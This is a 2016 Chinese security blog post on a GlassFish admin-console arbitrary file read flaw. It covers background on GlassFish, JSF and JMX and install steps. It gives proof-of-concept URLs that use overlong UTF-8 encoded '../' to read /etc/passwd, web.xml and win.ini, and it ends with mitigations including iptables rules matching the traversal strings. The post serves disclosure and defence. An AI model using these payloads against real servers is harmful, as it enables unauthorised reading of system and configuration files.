应用服务器Glassfish任意文件读取漏洞
catalogue
1. 前言和技术背景 2. Glassfish安装配置 3. 漏洞利用 4. 漏洞缓解(修复)
1. 前言和技术背景
0x1: GlassFish是什么
GlassFish 是用于构建 Java EE 5 应用服务器的开源开发项目的名称。它基于 Sun Microsystems 提供的 Sun Java System Application Server PE 9 的源代码以及 Oracle 贡献的 TopLink 持久性代码。该项目提供了开发高质量应用服务器的结构化过程,以前所未有的速度提供新的功能。这是对希望能够获得源代码并为开发 Sun 的下一代应用服务器(基于 GlassFish)作出贡献的 Java 开发者作出的回应。该项目旨在促进 Sun 和 Oracle 工程师与社区之间的交流,它将使得所有开发者都能够参与到应用服务器的开发过程中来
0x2: JSF是什么
JSF ,java Server Faces, 他与struts一样都是web应用框架,但是他们的本质区别在于, struts只是单纯的MVC模式框架,而JSF是一种事件驱动型的组件模型
应用程序的开发有两种B/S(浏览器/服务器)和C/S(客户端/服务器端),JSF就是将C/S开发中的界面引入了B/S开发中,然后为界面上的每一个控件都提供事件侦听器。通过JSF,可以在网页上使用WEB组件来捕获用户行为产生的事件.使用JSF开发web程序将与开发swing程序类似,可以拖放控件
0x3: JMX是什么
JMX(Java Management Extensions)是一个为应用程序植入管理功能的框架。JMX是一套标准的代理和服务,实际上,用户可以在任何Java应用程序中使用这些代理和服务实现管理
JMX是一种应用编程接口,可扩充对象和方法的集合体,可以用于跨越一系列不同的异构操作系统平台、系统体系结构和网络传输协议,灵活的开发无缝集成的系统、网络和服务管理应用它提供了用户界面指导、Java类和开发集成系统、网络及网络管理应用的规范。
管理对象是JMX应用程序的核心。JMX结构包括:支持Java的Web浏览器用户接口,管理运行模块ARM(Admin Runtime Module)和应用。这三个部件之间通过RMI(Remote Method Invocation)进行通信。这里需要说明的是,RMI是使得一个Java虚拟机(JVM)上运行的程序可以调用远程服务器上另一个JVM总的对象。
用户接口用来发布管理操作,这些操作可以间接的通过浏览器或通过单独的应用程序来激发。管理运行模块用来给应用提供实例化的管理对象。它包括Agent对象接口,通知接口和被管数据接口。应用指的是那些被管设备单元。
JMX是一个完整的网络管理应用程序开发环境,它同时提供了:厂商需要收集的完整的特性清单,可生成资源清单表格,图形化的用户接口;访问SNMP的网络API;主机间远程过程调用;数据库访问方法。
JMX这一轻型的管理基础结构,价值在于对被管理资源的服务实现了抽象,提供了低层的基本类集合,开发人员在保证大多数的公共管理类的完整性和一致性的前提下,进行扩展以满足特定网络管理应用的需要
Relevant Link:
http://www.xuebuyuan.com/1865382.html
2. Glassfish安装配置
unzip glassfish-4.1.1*zip glassfish4/bin/asadmin start-domain Go to http://localhost:4848
Relevant Link:
https://java.net/projects/glassfish/sources/svn/show/trunk/main/appserver/admingui/webui-jsf-suntheme-plugin-l10n/src/main/resources/com/sun/webui?rev=64241 http://www.1maven.com/classname-packaging?query&cl=ThemeServlet&pk=com.sun.webui.theme&pg=1&a=&s=#t_ https://glassfish.java.net/download.html
3. 漏洞利用
0x1: POC1(..编码)
http://localhost:4848/theme/META-INF/png%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
0x2: POC1(/编码)
http://localhost:4848/theme/META-INF/..%c0%afMETA-INF%c0%af..%c0%af..%c0%af__admingui%c0%afWEB-INF%c0%afweb.xml http://localhost:4848/theme/META-INF/prototype%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini
4.1.1把 %c0%ae = . 修复了,但是%c0%af = /没过滤
Relevant Link:
http://mp.weixin.qq.com/s?__biz=MzAwNTYwMjM3Mw==&mid=401676448&idx=1&sn=27231eed275dccdeb8c44e1cc6ac1f9a&scene=2&srcid=0114QPY75arMj4necv5moRY0&from=timeline&isappinstalled=0#wechat_redirect http://www.wooyun.org/bugs/wooyun-2010-0144595
4. 漏洞缓解(修复)
0x1: 关闭远程管理
关闭远程管理,关闭后只允许本地访问,会提示要求输入用户名和密码,开发环境或者对服务器安全要求较高的环境可以选择这么做,修改该设置后应该重启GlassFish服务
./asadmin change-admin-password ./asadmin disable-secure-admin ./asadmin stop-domain ./asadmin start-domain asadmin.bat change-admin-password asadmin.bat disable-secure-admin asadmin.bat stop-domain asadmin.bat start-domain
需要注意的是,关闭远程访问只能禁用远程login登录,但是攻击url还是可以访问,任意文件读取依然存在
0x2: Iptables规则
iptables -I INPUT -p tcp --dport 4848 -m string --to 120 --algo bm --string '..\%c0\%af' -j DROP iptables -I INPUT -p tcp --dport 4848 -m string --to 120 --algo bm --string '\%c0\%ae/' -j DROP iptables -I INPUT -p tcp --dport 4848 -m string --to 120 --algo bm --string '../' -j DROP //该规则无法防御HTTPS SSL方案
0x3: 禁用web.xml theme映射
\glassfish4\glassfish\lib\install\applications\__admingui\WEB-INF\web.xml
重启glassfish后生效
Relevant Link:
http://blog.csdn.net/joyous/article/details/8008870 http://blog.csdn.net/myjlvzlp/article/details/8009885 http://book.51cto.com/art/200904/120804.htm http://www.netfilter.org/documentation/HOWTO/netfilter-extensions-HOWTO-3.html http://blog.nintechnet.com/how-to-block-w00tw00t-at-isc-sans-dfind-and-other-web-vulnerability-scanners/
Copyright (c) 2016 LittleHann All rights reserved